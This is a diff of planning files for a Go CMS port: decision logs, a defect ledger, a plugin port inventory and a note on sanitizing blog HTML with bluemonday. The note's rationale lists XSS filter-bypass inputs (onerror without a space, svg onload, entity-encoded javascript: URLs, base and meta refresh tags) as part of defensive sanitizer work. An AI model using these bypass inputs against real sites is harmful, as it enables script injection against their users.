+- [Phase 16.1]: 16.1-02: summercms v0.1.16 tagged on d77393b after the human chose docker-first; journal a675f2f and host cac2ee7 pushed; UAT redeployed
+- [Phase 16.1]: 16.1-02: UAT Go log checks read /var/log/supervisor/grzybyfunkcjonalne-go.log directly; supervisorctl tail fails on ANSI escapes in GORM log lines and makes grep-count checks vacuous
+- [Phase 16.1]: 16.1-02: D-01/D-03 end-of-phase UAT checks are human-reported but not independently confirmed; queued for /msd-verify-work
+- [Phase 16.1]: FormatHTML refuse tests require an error and empty result for every unsafe input: with html.WithUnsafe the gate is the only XSS defence
+- [Phase 16.2]: pact.FormFieldType.ListValue is func(ctx context.Context, value any) string (human adjust at the 16.2-01 checkpoint); plans 03, 05 and 06 use the ctx form
+- [Phase 16.2]: Plugin field type registry is built per Activate by compileFieldTypes and passed down the compile functions; existing compile functions stay nil-registry wrappers
+- [Phase 16.2]: Only pact.FormFieldError from a plugin field type's Decode or Upload is a 422; every other plugin error, Load included, is the opaque 500
+- [Phase 16.2]: Untouched plugin field values are skipped on update by canonical encoding/json comparison with the served value (stored value through Load), per field and locale
+- [Phase 16.2]: TipTap 3.31.4 pinned exactly for all five editor packages after the human package check (packages approved)
+- [Phase 16.2]: Blog Editor bundle built through the Vite application pipeline (single ES entry, fixed names, exports kept) because library mode never minifies ES whitespace
+- [Phase 16.2]: Blog Editor link parsing, rendering and commands use isPolicyUrl (http, https, mailto, relative); on* attributes are never captured; external values load outside the undo history
+- [Phase 16.2]: Uncaptioned editor images are inline (<p><img></p>); captioned ones are figure with figureImage and figcaption
+- [Phase 16.2]: Plan 03: the Journal HTML policy needed exactly the four editor-output rules (figure data-embed/data-id, img alt, ol start); the corpus showed no fifth
+- [Phase 16.2]: Plan 03: editor uploads must sniff as a JPEG/PNG/GIF/WebP type matching the extension; uniqueMediaKey errors instead of overwriting when all numbered names are taken
+- [Phase 16.2]: Plan 03: admin saves of post content write the Decode output to content and content_html per written locale (FormBefore*/FormAfter* hooks), no goldmark; category 422 gate retired
+- [Phase 16.2]: 16.2-04: vue-journal-layer mirrors exactly the four Go editor-output rules; embeds expand only at the v-html sinks, after sanitizeJournalHtml
+- [Phase 16.2]: 16.2-04: vue-journal-layer v0.2.0 published (tag 042b65d0 -> 759e684e, human reply "push"); vue-grzybyfunkcjonalne-app main 465286a pins it; a defect gets v0.2.1
+- [Phase 16.2]: 16.2-05: summercms v0.1.18 released (human: release v0.1.18); a later defect gets v0.1.19
+- [Phase 16.2]: 16.2-05: UAT Nuxt rollback copy is nuxt/.output.prev; the site-ok log check reads /var/log/supervisor/grzybyfunkcjonalne-go.log from the restart River anchor (supervisorctl tail fails on UAT)
 
 ### Pending Todos
 
@@ -630,6 +704,7 @@ Recent decisions affecting current work:
 - Phase 11 (River dual-driver split) is documented but unverified against a real build — plan with `--research-phase` and budget a timed-latency test.
 - Phase 8 UI gate: scripts/check-phase8-ui.mjs --final-gate's real Playwright browser matrix (32 UI-SPEC scenarios) is unimplemented (deliberate fatal() at check-phase8-ui.mjs:458, never authored by 08-05); stage_ui_harness must keep failing closed until a Playwright spec is authored. User approved Phase 8 closure on 2026-09-24 with this gap carried forward -- see 08-10-SUMMARY.md and .planning/phases/08-oauth2-1-authorization-server/deferred-items.md.
 - pending: push sm-user-plugin — 12.1-05 Task 3 condition (c) failed (`git ls-remote --tags origin v0.1.3` empty). Push summercms.go master and annotated tag v0.1.3 (local on df5cace) first, then the plugin, then fonoteka.go. Recorded in 12.1-05-SUMMARY.md.
+- 16.2-05 open UAT items: re-save HTML post 1 untouched (D-03 evidence vacuous), D-19 category edit check, root vhost install (frame-src), unpublish/delete test post 105
 
 ### Quick Tasks Completed
 
@@ -653,6 +728,16 @@ Recent decisions affecting current work:
 | 16 | Default icon shouldn't be a square but a sun. | 2026-10-06 | 4a94380 | — |
 | 261007-p4y | Switch toggle pixel sizing; settings entries linking to admin controllers; translate Locales moved to Settings | 2026-10-07 | 0b09acd | [261007-p4y-toggle-proportions-and-settings-controll](./quick/261007-p4y-toggle-proportions-and-settings-controll/) |
 | 18 | cabana list: join to-many relation column values with ", " | 2026-10-07 | fa25b4e | — |
+| 261007-qgx | Admin record heading, crumb and title from the first text or mltext field (default locale) | 2026-10-07 | a714bb4 | [261007-qgx-admin-record-heading-uses-translatable-m](./quick/261007-qgx-admin-record-heading-uses-translatable-m/) |
+| 261008-k7s | Bootstrap script PATH hint per login shell (fish/zsh/bash) | 2026-10-08 | ddf1178 | [261008-k7s-bootstrap-script-path-hint-per-shell](./quick/261008-k7s-bootstrap-script-path-hint-per-shell/) |
+| 261008-kdf | summer delegates pass flags through, admin/route/key delegates, signal forwarding | 2026-10-08 | 50c8cee | [261008-kdf-delegated-summer-commands-pass-flags-thr](./quick/261008-kdf-delegated-summer-commands-pass-flags-thr/) |
+| 261008-kdh | serve prints URL and admin status; summer new apps admin-ready | 2026-10-08 | f70d80e | [261008-kdh-serve-startup-and-admin-feedback-admin-r](./quick/261008-kdh-serve-startup-and-admin-feedback-admin-r/) |
+| 261008-o6k | summercms.io/update: update one application in place (framework checkout, CLI, .env admin secret, build) | 2026-10-08 | 9b3803c | [261008-o6k-bootstrap-upgrade-mode-for-existing-chec](./quick/261008-o6k-bootstrap-upgrade-mode-for-existing-chec/) |
+| 261009-i6e | add the anonymous author endpoint to sm-journal-plugin (D-20) | 2026-10-09 | sm-journal-plugin 908ade9, 57a347c | [261009-i6e-add-the-anonymous-author-endpoint-to-sm-](./quick/261009-i6e-add-the-anonymous-author-endpoint-to-sm-/) |
+| 261009-mgk | add the category content field to sm-journal-plugin (D-21) | 2026-10-09 | sm-journal-plugin 740dcd0, f22d089, 3d533d4 | [261009-mgk-add-the-category-content-field-to-sm-jou](./quick/261009-mgk-add-the-category-content-field-to-sm-jou/) |
+| 261009-mys | Add subtitle and avatar to backend users and a My account page (avatar menu, like WinterCMS) | 2026-10-09 | 143eca5, 64d21c8, 4f1cda3, 89611ea | [261009-mys-add-subtitle-and-avatar-to-backend-users](./quick/261009-mys-add-subtitle-and-avatar-to-backend-users/) |
+| 261010-iwu | Blog Editor live preview pane: toggleable, sandboxed iframe, embed thumbnail cards (16.2 follow-up) | 2026-10-10 | sm-journal-plugin df67939, c1f6a83, 2c78211 | [261010-iwu-blog-editor-live-preview-pane-toggleable](./quick/261010-iwu-blog-editor-live-preview-pane-toggleable/) |
+| 28 | Admin navbar View site link (admin origin root, new tab) | 2026-10-10 | 85fe541 | — |
 
 ## Deferred Items
 
@@ -664,6 +749,6 @@ Items acknowledged and carried forward from previous milestone close:
 
 ## Session Continuity
 
-Last session: 2026-10-06T17:12:00Z
-Stopped at: Completed 15-03-PLAN.md
-Resume file: None
+Last session: 2026-10-10T13:33:02.885Z
+Stopped at: Phase 16.3 context gathered
+Resume file: .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-CONTEXT.md

.planning/WINDOWS.md

@@ -1,17 +1,17 @@
 ---
 schema_version: 1
-open_count: 4
+open_count: 14
 waived_count: 0
-fixed_count: 6
-total_count: 10
-last_updated: 2026-10-05T12:07:04.853Z
+fixed_count: 7
+total_count: 21
+last_updated: 2026-10-10T14:17:06.621Z
 ---
 
 # Broken Windows Ledger
 
-> Cross-phase defect register. With `workflow.windows_enforce` enabled, `/gsd-ship` blocks while `open_count > 0`.
-> Waive with `gsd-tools windows waive <id> "<reason>"` (reason required).
-> Mark fixed with `gsd-tools windows fixed <id>`.
+> Cross-phase defect register. With `workflow.windows_enforce` enabled, `/msd-ship` blocks while `open_count > 0`.
+> Waive with `msd-tools windows waive <id> "<reason>"` (reason required).
+> Mark fixed with `msd-tools windows fixed <id>`.
 
 | id | phase | kind | file | line | description | status | reason | recorded_at | resolved_at |
 |----|-------|------|------|------|-------------|--------|--------|-------------|-------------|
@@ -25,6 +25,17 @@ last_updated: 2026-10-05T12:07:04.853Z
 | 8 | 11 | skipped-test | parity/broadcast_goldens_test.go |  | fonoteka.go: TestBroadcastGoldens/created and /updated t.Skip as pending; Phase 12 turns the recorded PHP created/updated goldens into assertions (album subtree, literal created_at/updated_at and artist id handling) | open |  | 2026-09-30T11:32:37.302Z |  |
 | 9 | 12.1 | stub | admin/src/components/form/RecordActions.vue |  | RecordActions.vue is built and tested but not mounted; plan 12.1-02 mounts it in the preview footer, until then meta.actions is served and no screen shows the buttons | fixed |  | 2026-10-04T21:55:30.405Z | 2026-10-05T10:41:16.319Z |
 | 10 | 12.1 | unmet-truth | .planning/phases/12.1-user-plugin-admin-screens/deferred-items.md |  | fonoteka.go: four application tests pin lists the user plugin's admin work changes (TestAdminMetadataFiltering nav list, TestHiddenNeverMarshals user model count, parity TestMigrateSeedsCanonicalGenres and TestRollbackLastIsolatesFonoteka migration ids); with the two from plan 12.1-02 they keep plan 12.1-03's application verify red until plan 12.1-04 updates them | fixed |  | 2026-10-05T11:31:36.781Z | 2026-10-05T12:07:04.853Z |
+| 11 | 16.1 | unrun-verify | modules/cabana/query_relation_test.go |  | TestListRelationSearchPostgres not run here (no Docker); run go test -count=1 ./modules/cabana on a Docker host before /msd-verify-work | open |  | 2026-10-09T20:51:22.934Z |  |
+| 12 | 16.1 | unrun-verify | .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md |  | sm-journal-plugin TestPostsAdminResaveKeepsHTML (posts_admin_smoke_test.go) not run here (no Docker); run go -C ../sm-journal-plugin test -count=1 ./... on a Docker host before /msd-verify-work | open |  | 2026-10-09T20:51:27.671Z |  |
+| 13 | 16.2 | deviation | tests/blogeditor/fixtures/imported-post.html |  | sm-journal-plugin: 16.2-02 imported-post fixture is synthetic (same structure as the export post) because reading the journal export was refused by the environment's PII classifier; swap in the real export content if wanted | open |  | 2026-10-10T09:54:57.288Z |  |
+| 14 | 16.2 | unrun-verify | plugin_test.go |  | sm-journal-plugin: TestJournalSVGEmbed now asserts AdminFS embeds assets/dist/blogeditor.js and .css; the root package TestMain needs Docker, so it was not run here; run go -C ../sm-journal-plugin test -count=1 . on a Docker host (plan 06) | open |  | 2026-10-10T09:54:57.583Z |  |
+| 15 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md |  | sm-journal-plugin posts_admin_smoke_test.go: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML compile under go vet but need a Docker host (plan 06) | open |  | 2026-10-10T10:12:10.725Z |  |
+| 16 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md |  | sm-journal-plugin journal_api_categories_test.go TestCategoriesAdminContent (strip assertions) and journal_api_task3_test.go media upload route tests after the StoreMedia refactor need a Docker host (plan 06) | open |  | 2026-10-10T10:12:10.986Z |  |
+| 17 | 16.2 | unmet-truth | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md |  | 16.2-05 D-03 on an HTML post unproven on UAT: post 1 (HTML_POST) was not written after RESTART_TS (updated_at still 2026-10-09), so posts-unchanged passed vacuously for it; a human must re-save post 1 untouched and the SELECT be re-run | fixed |  | 2026-10-10T11:35:56.721Z | 2026-10-10T12:04:50.783Z |
+| 18 | 16.2 | unmet-truth | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md |  | 16.2-05 D-19 human check pending: a one-word category edit in the Blog Editor saves without a removal notice and shows on the site; post 1 source tab shows the stored HTML unchanged | open |  | 2026-10-10T11:35:56.955Z |  |
+| 19 | 16.2 | todo | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md |  | 16.2-05 UAT root step: install the staging vhost with frame-src https://www.youtube-nocookie.com, nginx -t and reload; unpublish or delete test post uat-16-2-blog-editor (id 105) | open |  | 2026-10-10T11:35:57.234Z |  |
+| 20 | 16.2 | unrun-verify | modules/cabana/field_type_postgres_test.go |  | 16.2-06 TestFieldTypeSavePostgres (real-database save, show, untouched and refused update, upload in and out of scope) compiles under go vet but needs a Docker host; run bash scripts/check-phase16.2.sh postgres | open |  | 2026-10-10T14:17:06.378Z |  |
+| 21 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md |  | sm-journal-plugin: 16.2-06 TestCategoriesAdminBlogEditor (categories_admin_editor_test.go) and the rewritten three-stage TestPostsAdminResaveKeepsHTML compile under go vet but need a Docker host; run bash scripts/check-phase16.2.sh postgres | open |  | 2026-10-10T14:17:06.621Z |  |
 
 ````json
 [
@@ -157,6 +168,149 @@ last_updated: 2026-10-05T12:07:04.853Z
     "recorded_at": "2026-10-05T11:31:36.781Z",
     "resolved_at": "2026-10-05T12:07:04.853Z",
     "milestone": "v1.0"
+  },
+  {
+    "id": 11,
+    "kind": "unrun-verify",
+    "phase": "16.1",
+    "file": "modules/cabana/query_relation_test.go",
+    "line": null,
+    "description": "TestListRelationSearchPostgres not run here (no Docker); run go test -count=1 ./modules/cabana on a Docker host before /msd-verify-work",
+    "status": "open",
+    "reason": "",
+    "recorded_at": "2026-10-09T20:51:22.934Z",
+    "resolved_at": null,
+    "milestone": "v1.0"
+  },
+  {
+    "id": 12,
+    "kind": "unrun-verify",
+    "phase": "16.1",
+    "file": ".planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md",
+    "line": null,
+    "description": "sm-journal-plugin TestPostsAdminResaveKeepsHTML (posts_admin_smoke_test.go) not run here (no Docker); run go -C ../sm-journal-plugin test -count=1 ./... on a Docker host before /msd-verify-work",
+    "status": "open",
+    "reason": "",
+    "recorded_at": "2026-10-09T20:51:27.671Z",
+    "resolved_at": null,
+    "milestone": "v1.0"
+  },
+  {
+    "id": 13,
+    "kind": "deviation",
+    "phase": "16.2",
+    "file": "tests/blogeditor/fixtures/imported-post.html",
+    "line": null,
+    "description": "sm-journal-plugin: 16.2-02 imported-post fixture is synthetic (same structure as the export post) because reading the journal export was refused by the environment's PII classifier; swap in the real export content if wanted",
+    "status": "open",
+    "reason": "",
+    "recorded_at": "2026-10-10T09:54:57.288Z",
+    "resolved_at": null,
+    "milestone": "v1.0"
+  },
+  {
+    "id": 14,
+    "kind": "unrun-verify",
+    "phase": "16.2",
+    "file": "plugin_test.go",
+    "line": null,
+    "description": "sm-journal-plugin: TestJournalSVGEmbed now asserts AdminFS embeds assets/dist/blogeditor.js and .css; the root package TestMain needs Docker, so it was not run here; run go -C ../sm-journal-plugin test -count=1 . on a Docker host (plan 06)",
+    "status": "open",
+    "reason": "",
+    "recorded_at": "2026-10-10T09:54:57.583Z",
+    "resolved_at": null,
+    "milestone": "v1.0"
+  },
+  {
+    "id": 15,
+    "kind": "unrun-verify",
+    "phase": "16.2",
+    "file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md",
+    "line": null,
+    "description": "sm-journal-plugin posts_admin_smoke_test.go: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML compile under go vet but need a Docker host (plan 06)",
+    "status": "open",
+    "reason": "",
+    "recorded_at": "2026-10-10T10:12:10.725Z",
+    "resolved_at": null,
+    "milestone": "v1.0"
+  },
+  {
+    "id": 16,
+    "kind": "unrun-verify",
+    "phase": "16.2",
+    "file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md",
+    "line": null,
+    "description": "sm-journal-plugin journal_api_categories_test.go TestCategoriesAdminContent (strip assertions) and journal_api_task3_test.go media upload route tests after the StoreMedia refactor need a Docker host (plan 06)",
+    "status": "open",
+    "reason": "",
+    "recorded_at": "2026-10-10T10:12:10.986Z",
+    "resolved_at": null,
+    "milestone": "v1.0"
+  },
+  {
+    "id": 17,
+    "kind": "unmet-truth",
+    "phase": "16.2",
+    "file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
+    "line": null,
+    "description": "16.2-05 D-03 on an HTML post unproven on UAT: post 1 (HTML_POST) was not written after RESTART_TS (updated_at still 2026-10-09), so posts-unchanged passed vacuously for it; a human must re-save post 1 untouched and the SELECT be re-run",
+    "status": "fixed",
+    "reason": "",
+    "recorded_at": "2026-10-10T11:35:56.721Z",
+    "resolved_at": "2026-10-10T12:04:50.783Z",
+    "milestone": "v1.0"
+  },
+  {
+    "id": 18,
+    "kind": "unmet-truth",
+    "phase": "16.2",
+    "file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
+    "line": null,
+    "description": "16.2-05 D-19 human check pending: a one-word category edit in the Blog Editor saves without a removal notice and shows on the site; post 1 source tab shows the stored HTML unchanged",
+    "status": "open",
+    "reason": "",
+    "recorded_at": "2026-10-10T11:35:56.955Z",
+    "resolved_at": null,
+    "milestone": "v1.0"
+  },
+  {
+    "id": 19,
+    "kind": "todo",
+    "phase": "16.2",
+    "file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
+    "line": null,
+    "description": "16.2-05 UAT root step: install the staging vhost with frame-src https://www.youtube-nocookie.com, nginx -t and reload; unpublish or delete test post uat-16-2-blog-editor (id 105)",
+    "status": "open",
+    "reason": "",
+    "recorded_at": "2026-10-10T11:35:57.234Z",
+    "resolved_at": null,
+    "milestone": "v1.0"
+  },
+  {
+    "id": 20,
+    "kind": "unrun-verify",
+    "phase": "16.2",
+    "file": "modules/cabana/field_type_postgres_test.go",
+    "line": null,
+    "description": "16.2-06 TestFieldTypeSavePostgres (real-database save, show, untouched and refused update, upload in and out of scope) compiles under go vet but needs a Docker host; run bash scripts/check-phase16.2.sh postgres",
+    "status": "open",
+    "reason": "",
+    "recorded_at": "2026-10-10T14:17:06.378Z",
+    "resolved_at": null,
+    "milestone": "v1.0"
+  },
+  {
+    "id": 21,
+    "kind": "unrun-verify",
+    "phase": "16.2",
+    "file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md",
+    "line": null,
+    "description": "sm-journal-plugin: 16.2-06 TestCategoriesAdminBlogEditor (categories_admin_editor_test.go) and the rewritten three-stage TestPostsAdminResaveKeepsHTML compile under go vet but need a Docker host; run bash scripts/check-phase16.2.sh postgres",
+    "status": "open",
+    "reason": "",
+    "recorded_at": "2026-10-10T14:17:06.621Z",
+    "resolved_at": null,
+    "milestone": "v1.0"
   }
 ]
 ````

.planning/notes/core-plugin-port-inventory.md

@@ -0,0 +1,62 @@
+---
+title: Golem15 plugin inventory and core plugin port order (Phases 17–19.1)
+date: 2026-10-07
+context: /gsd-explore session on porting the remaining core plugins after Journal
+---
+
+# Golem15 plugin inventory and port order
+
+A survey of every `plugins/golem15/*` copy under `/media/nvme/dev/golem15` and `/media/nvme/dev/jz/wavepath.org` on 2026-10-07. "Live" counts top-level projects. LOC is PHP without tests or vendor, measured on the largest copy.
+
+## Port status
+
+- **Ported:** user, translate, journal, golem, feedback. Apparatus became framework packages (`apparatus-dissolved-into-framework.md`).
+- **Not ported, covered by the framework:** websockets. `modules/lighthouse` and its `centrifugo` driver already provide the publisher, the token route, the subscribe proxy and per-namespace `Authorizer`s, which are what Wavepath's code calls (`BroadcastEventJob`, `CentrifugoClient`, `AuthorizerRegistry`, `ChannelAuthorizerInterface`).
+- **Not ported:** knobwidget and dualformfield/dualformwidget. They are about 150 LOC of form widgets each, and the admin SPA field types replace them.
+
+## Shared plugins and how much each is worth porting
+
+| Plugin | Live projects | LOC | Decision |
+|---|---|---|---|
+| paymentgateway + pgstripe | 19 installed, 7 real users | 18.7k + 1.9k | Phase 18 |
+| paymentgatewaysubscriptions | 5 | 5.5k | Phase 18.1 if it does not fit in 18 |
+| sitemap | 21 | 1.9k | Phase 17 |
+| menu | 8 | 1.0k | Phase 17 |
+| faq | 16 | 0.5k | Phase 17 |
+| chat | 17 installed, Wavepath is the heaviest user | 4.4k | Phase 19 |
+| chatchannels | Wavepath | 2.8k | Phase 19 |
+| chatbots, chatvideo, forum, herald, userfriends | Wavepath (userfriends also in PHP fonoteka; fonoteka.go has no port) | 0.6k–1.7k each | Phase 19.1 |
+| oauthserver | Wavepath | 5.5k | With the Wavepath port, on `wristband` |
+| newsletter | horoskopia | 2.3k | Backlog 999.1 |
+| github, quote | 16 / 13 | 3.4k / 0.8k | Not scheduled. Quote is cheap because golem and journal are ported |
+| seo, sitemanager | 6 | 4.3k / 0.9k | Not scheduled. Phase 16 replaces both with `@nuxtjs/seo` and app content |
+| blog, bloghub, ai | 3–4 | 7.5k–9.6k | Not scheduled. This is the older blog line; journal is its successor |
+
+Third-party plugins in many projects: `winter/location` is in 19, `winter/blocks` in 13 and `winter/pages` in 10. Whether paymentgateway shipping or user profiles need `winter/location` is an open question.
+
+## PaymentGateway facts that matter for Phase 18
+
+- **Which projects really use it:** sklep.figs (shop), portal.golem15.com (invoicer), getaround.world (tourism with its own StripeConnect operator, quotify, subscriptions), quotify.pro, drzewo.net, horoskopia.eu and queststream.online. In the others it is installed only because the starter ships it.
+- **Drivers:** Stripe is the only real driver. No PayU, Przelewy24, PayPal or Tpay code exists anywhere.
+- **Operator registration:** operators extend the abstract `core/Operator` and push their class onto the config key `golem15.paymentgateway.operators` from inside the `paymentgateway.booted` event. In Go this becomes build-time registration through an interface.
+- **Webhooks:** one CSRF-exempt notification route, `_paymentgateway/{operator}/{mode?}/{result?}`. pgstripe adds `POST /webhook/stripe/subscriptions` for the subscriptions plugin.
+- **State machines and events:**
+  - Payment: Created, Sent, Accepted, Rejected, Canceled, Refunded.
+  - Order: 12 states and about 18 transitions, 7 of them refund paths.
+  - 19 Order events and 5 Payment events drive about 26 mail templates.
+  - `OrderPaid` is the event consumers listen to most.
+- **Acceptance consumer:** Horoskopia. Its `horoscope` plugin (37k LOC, 65 routes, Nuxt 4 frontend `vue-horoskopia-app`) requires PaymentGatewaySubscriptions and PGStripe. It uses `Order`, `OrderFactory`, `Cart`/`Item`/`Details`, `Settings`, `Payment`, `Subscription`, `SubscriptionPlan` and the `SubscriptionGateway` contract.
+
+## Port order decided on 2026-10-07
+
+1. **Phase 17, Blog companions:** sitemap, menu and FAQ, plus a framework menu-item type registry.
+2. **Phase 18, Payment Gateway:** paymentgateway and pgstripe. Subscriptions and Stripe add-ons go into 18.1, 18.2 and so on if the Phase 18 discussion splits them out.
+3. **Phase 19, Chat and ChatChannels.**
+4. **Phase 19.1, Chat satellites:** chatbots, chatvideo, forum, herald and userfriends.
+5. **Phase 20, Płytarium cutover.**
+6. **After Phase 20:** the Horoskopia port comes first, then the Wavepath port. Neither is planned yet. This stretch is about preparing the shared plugins, not migrating apps, and a stabilization phase may come first. See the seeds for both ports.
+
+## Related
+
+- `core-plugins-own-repos.md`: each shared plugin gets an `sm-<name>-plugin` repo
+- `../seeds/keios-port-themes-payments.md`: an earlier seed that also covers paymentgateway

.planning/notes/journal-html-sanitizing-bluemonday.md

@@ -0,0 +1,70 @@
+# Decision: bluemonday sanitizes journal post HTML
+
+**Date:** 2026-10-09  
+**Status:** Accepted (fixes Phase 16.1 code review CR-01 and WR-01)  
+**Supersedes:** the three-regex `rejectUnsafe` gate in `sm-journal-plugin/classes/format_html.go` and the Phase 16.1 threat-register claim T-16.1-02
+
+## Decision
+
+`sm-journal-plugin` adds `github.com/microcosm-cc/bluemonday` v1.0.27 (the latest tag; the repository is not archived and has had no release since July 2024). `classes.FormatHTML` renders markdown with goldmark `html.WithUnsafe()` as before, then sanitizes the result with a package-level bluemonday policy. The plugin also imports `golang.org/x/net/html` directly. It was already in the build through bluemonday and the framework.
+
+The policy is `bluemonday.UGCPolicy()` with these changes, each taken from goldmark's own output or from the posts and categories on the UAT database:
+
+| Change | Why |
+|---|---|
+| `RequireNoFollowOnLinks(false)` | Winter does not add `rel="nofollow"`, so stored links keep their form. |
+| `footer` element | An imported author footer (post 64). |
+| `class` on every element, matching `SpaceSeparatedTokens` | Imported footers and goldmark's `{.class}` attributes and footnote classes. |
+| `itemscope` (empty), `itemtype` (`https://schema.org/<Type>` only), `itemprop` | schema.org microdata in the imported author footer. |
+| Styles `color`, `font-size`, `font-weight`, `text-align` | Inline styles in the imported author footer, and goldmark's table cell alignment. bluemonday validates each value. |
+| `role` = `doc-noteref`, `doc-endnotes` or `doc-backlink` on `a` and `div` | goldmark's footnote markup. |
+| `dir` = `ltr`, `rtl` or `auto` | Pasted chat transcripts in category bodies use `dir="auto"`. UGC's `Direction` allows only `ltr` and `rtl`. |
+| `data-message-author-role`, `data-message-id` on `div` (`[A-Za-z0-9_-]+`) | The same pasted transcripts. This is not `AllowDataAttributes()`, which would allow every `data-*` attribute. |
+
+Everything else that UGC refuses is refused: `script`, `style`, `iframe`, `object`, `embed`, `form`, `input`, `base`, `meta`, `link`, `svg`, `math`, comments, every `on*` attribute, `target`, `rel`, `title` values outside UGC's `Paragraph` pattern, and URLs other than `http`, `https`, `mailto` and relative URLs. bluemonday checks URLs after the tokenizer has decoded entities, and it requires them to parse with `net/url`.
+
+## Strip vs refuse
+
+- **Posts strip.** `FormatHTML` stores the sanitized output and never fails because of unsafe markup. This is parity: Winter's `Post::formatHtml` runs `Html::clean` for every writer without `backend.allow_unsafe_markdown` (a CLI import has no backend user, so it is always cleaned). `Html::clean` strips `on*` and `xmlns` attributes, `javascript:`, `vbscript:` and `data:` URLs, `style` attributes, and the `script`, `style`, `iframe`, `embed`, `object`, `meta`, `base` and `link` tags. It never refuses. The Go port sanitizes for every writer. There is no permission that skips it, because superusers in PHP hold `backend.allow_unsafe_markdown` implicitly, and that loophole is exactly the escalation CR-01 describes. No post test or API contract required a 422 for unsafe content. Only the old `classes` unit test did, and it now asserts stripping. `content` itself is still stored as submitted, as in PHP.
+- **Byte-stable when nothing is stripped.** `sanitizeHTML` returns the goldmark output unchanged when that output and bluemonday's output tokenize to the same tokens: the same type, tag name, decoded text and set of decoded attributes. Otherwise it returns bluemonday's output. bluemonday re-escapes `"` as `&#34;` and `'` as `&#39;`, so storing its output every time would rewrite every imported post on its next save. Returning the original bytes is safe only on that token-level equality. Any element, attribute or comment that the policy drops makes the tokens differ, and then the sanitized output is stored.
+- **Category content refuses.** `classes.CheckHTML` keeps its exported signature and its 422 contract. D-21 stores category content exactly as submitted, and `TestCategoriesAdminContent` asserts a 422 for unsafe content. CheckHTML now uses the same policy and comparison, and refuses whenever the policy would change the HTML.
+
+- **Amended 2026-10-10 (Phase 16.2 D-10): category content strips too, and admin saves report what was stripped.** The user chose one rule for both: post and category admin writes store the sanitized output and never fail. `CheckHTML`'s 422 contract for categories and the `TestCategoriesAdminContent` 422 assertion are retired in Phase 16.2. Winter stored category content unsanitized; that was a gap, not a contract. When the policy removes anything, the admin save response names what was removed. The policy (and the layer's sanitize-html mirror) is extended only for the Blog Editor's own output, such as the `figure data-embed`/`data-id` embed placeholder.
+
+  Phase 16.2 plan 03 implements this. The Blog Editor field types decode every locale's value with `classes.SanitizeHTMLReport`, store its output (the submitted bytes when nothing is removed) and return what was removed as admin notices; an admin save of post content writes the same HTML to `content` and `content_html` without goldmark. `newHTMLPolicy` gains exactly four rules for the editor's own output, and nothing else (no iframe, no other `data-*` attribute, no `target`, `rel`, style property or URL scheme). Plan 02's `tests/blogeditor/fixtures/editor-corpus.json` pins them: `TestEditorOutputPassesPolicy` requires every corpus entry to come back from `SanitizeHTML` byte for byte with an empty report, and checks that other providers, malformed ids and other attributes are still stripped. Plan 04 adds the same four rules to the layer's sanitize-html mirror and checks the same corpus. A fifth rule is added only to both policies together.
+
+  | Change (Phase 16.2) | Why |
+  |---|---|
+  | `data-embed` matching `^youtube$` on `figure` | The editor's embed placeholder `<figure data-embed="youtube" data-id="..."></figure>`; the layer expands it, no iframe is stored. |
+  | `data-id` matching `^[A-Za-z0-9_-]{11}$` on `figure` | The YouTube video id of the same placeholder. |
+  | `alt` with any text on `img` | The editor's alt field takes free text; UGC's `Paragraph` pattern drops `:`, `?`, `"` and more. The value is escaped on output and carries no URL. |
+  | `start` matching `^[0-9]+$` on `ol` | TipTap's ordered-list input rule writes it when a list does not start at 1. |
+
+- **Translations follow the same rule (2026-10-10, audit W-1).** `classes.FormatTranslation` runs on every locale of every API and import write: a non-blank `content` re-derives `content_html` with `FormatHTML` (a supplied `content_html` is replaced, as for the host column); a `content_html` sent alone goes through `classes.SanitizeHTML`, the same policy. A translation keyed on the default locale, which `translate.SetTranslated` writes straight into the host column, is covered too. PHP stored a client-supplied translated `content_html` as-is on the API and import paths; the port follows the PHP admin widget, which always derived it.
+- **Duplicate attributes count as a change (audit W-2).** `golang.org/x/net/html` drops a repeated attribute while tokenizing, so the byte-stable comparison could not see `href="https://x" href="javascript:..."`. `htmlTokens` compares the raw attribute names of each start tag (`rawAttrNames`) with the attributes the tokenizer kept; any difference stores the sanitized output and makes `CheckHTML` refuse.
+
+## Rationale
+
+The regex blocklist could be bypassed once raw HTML passed through. These payloads came back unchanged with no error: `<img src="x"onerror=...>` (no space before the attribute), `<svg/onload=...>`, `javascript&#58;`, `javascript&colon;`, `&#106;avascript:`, `java<TAB>script:`, MathML `xlink:href`, and the inert-looking but dangerous `<base>`, `<meta http-equiv=refresh>` and `<form>`. The `data:` pattern also matched ordinary text, so "Data: 12 maja 2024" and "metadata:" were refused (WR-01). A sanitizer that tokenizes the HTML checks attributes and URL values in the same way a browser parses them, so it does not depend on any text pattern.
+
+## Alternatives considered
+
